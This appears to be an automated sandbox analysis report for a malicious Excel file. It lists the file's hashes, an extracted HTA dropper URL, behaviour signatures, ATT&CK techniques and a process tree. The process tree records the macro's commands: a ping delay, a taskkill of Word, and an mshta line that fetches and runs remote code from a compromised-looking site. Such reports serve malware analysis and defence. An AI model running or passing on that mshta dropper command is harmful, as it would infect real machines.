c70a0b74802c56a2c8d87c6d66b6e4cf52e0905b23ae685cf372a8712bfcddb9

General

Target

SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls
Size

38KB
MD5

973d256bd86052c4b67af3d5c9e80fb2
SHA1

fc5ec8fe64d666294a8cd533cbe0caac3cd7fa56
SHA256

c70a0b74802c56a2c8d87c6d66b6e4cf52e0905b23ae685cf372a8712bfcddb9
SHA512

53a229c1f48f876f379c7d24fbc3f458113c09a840c2e5d2128d5cd317bdd4cd73bfc9c035cdefdcb709b4960e16575728f2da9a9d05867a3805f9eec7c90d90

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://facextrade.com.br/wp-includes/certificates/4.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2004	3976	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 31 IoCs

Processes:

mshta.exe

flow	pid	process
17	776	mshta.exe
18	776	mshta.exe
20	776	mshta.exe
22	776	mshta.exe
24	776	mshta.exe
25	776	mshta.exe
27	776	mshta.exe
28	776	mshta.exe
30	776	mshta.exe
31	776	mshta.exe
32	776	mshta.exe
33	776	mshta.exe
34	776	mshta.exe
35	776	mshta.exe
36	776	mshta.exe
37	776	mshta.exe
44	776	mshta.exe
45	776	mshta.exe
46	776	mshta.exe
47	776	mshta.exe
48	776	mshta.exe
49	776	mshta.exe
50	776	mshta.exe
51	776	mshta.exe
52	776	mshta.exe
53	776	mshta.exe
54	776	mshta.exe
55	776	mshta.exe
56	776	mshta.exe
58	776	mshta.exe
59	776	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1868 taskkill.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1860 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3976 EXCEL.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

taskkill.exe

description pid process

Token: SeDebugPrivilege 1868 taskkill.exe

pid	process
1868	taskkill.exe

pid	process
1860	PING.EXE

description	pid	process
Token: SeDebugPrivilege	1868	taskkill.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3976	EXCEL.EXE
3976	EXCEL.EXE
3976	EXCEL.EXE
3976	EXCEL.EXE
3976	EXCEL.EXE
3976	EXCEL.EXE
3976	EXCEL.EXE
3976	EXCEL.EXE
3976	EXCEL.EXE
3976	EXCEL.EXE
3976	EXCEL.EXE
3976	EXCEL.EXE
3976	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

EXCEL.EXEcmd.execmd.exe

description	pid	process	target process
PID 3976 wrote to memory of 2004	3976	EXCEL.EXE	cmd.exe
PID 3976 wrote to memory of 2004	3976	EXCEL.EXE	cmd.exe
PID 2004 wrote to memory of 1860	2004	cmd.exe	PING.EXE
PID 2004 wrote to memory of 1860	2004	cmd.exe	PING.EXE
PID 2004 wrote to memory of 5012	2004	cmd.exe	cmd.exe
PID 2004 wrote to memory of 5012	2004	cmd.exe	cmd.exe
PID 5012 wrote to memory of 1868	5012	cmd.exe	taskkill.exe
PID 5012 wrote to memory of 1868	5012	cmd.exe	taskkill.exe
PID 2004 wrote to memory of 776	2004	cmd.exe	mshta.exe
PID 2004 wrote to memory of 776	2004	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3976

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2004

C:\Windows\system32\PING.EXE
ping -n 8 127.0.0.1
3⤵
- Runs ping.exe
PID:1860

C:\Windows\system32\cmd.exe
cmd /c start /min taskkill /f /im WINWORD.EXE
3⤵
- Suspicious use of WriteProcessMemory
PID:5012

C:\Windows\system32\taskkill.exe
taskkill /f /im WINWORD.EXE
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1868

C:\Windows\system32\mshta.exe
mshta http://facextrade.com.br/wp-includes/certificates/4.txt
3⤵
- Blocklisted process makes network request
PID:776

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Outlook.bat
Filesize
1KB

MD5
20484f4a7d41c5f54a0dc7a7d35c2155

SHA1
0b197c48d648bbdc131dca6d4fb89903303372f9

SHA256
6df10dd726cef49360df78c47651a311ea7bb21064fe77e019e223ef32776072

SHA512
94df430c3890d5ba23618283ea6eaa6aa0c74d19c5e049f3cc4d65a464266ccc2eefccdb59d6464606200b2e51cdc9b57c2534c67aded228d00a54d856c98591

Download Submit
memory/776-144-0x0000000000000000-mapping.dmp

Download
memory/1860-140-0x0000000000000000-mapping.dmp

Download
memory/1868-143-0x0000000000000000-mapping.dmp

Download
memory/2004-139-0x0000000000000000-mapping.dmp

Download
memory/3976-134-0x00007FF7FD750000-0x00007FF7FD760000-memory.dmp

Filesize
64KB

Download
memory/3976-138-0x00007FF7FB380000-0x00007FF7FB390000-memory.dmp

Filesize
64KB

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memory/3976-137-0x00007FF7FB380000-0x00007FF7FB390000-memory.dmp

Filesize
64KB

Download
memory/3976-132-0x00007FF7FD750000-0x00007FF7FD760000-memory.dmp

Filesize
64KB

Download
memory/3976-135-0x00007FF7FD750000-0x00007FF7FD760000-memory.dmp

Filesize
64KB

Download
memory/3976-136-0x00007FF7FD750000-0x00007FF7FD760000-memory.dmp

Filesize
64KB

Download
memory/3976-133-0x00007FF7FD750000-0x00007FF7FD760000-memory.dmp

Filesize
64KB

Download
memory/3976-148-0x00007FF7FD750000-0x00007FF7FD760000-memory.dmp

Filesize
64KB

Download
memory/3976-147-0x00007FF7FD750000-0x00007FF7FD760000-memory.dmp

Filesize
64KB

Download
memory/3976-149-0x00007FF7FD750000-0x00007FF7FD760000-memory.dmp

Filesize
64KB

Download
memory/3976-150-0x00007FF7FD750000-0x00007FF7FD760000-memory.dmp

Filesize
64KB

Download
memory/5012-142-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads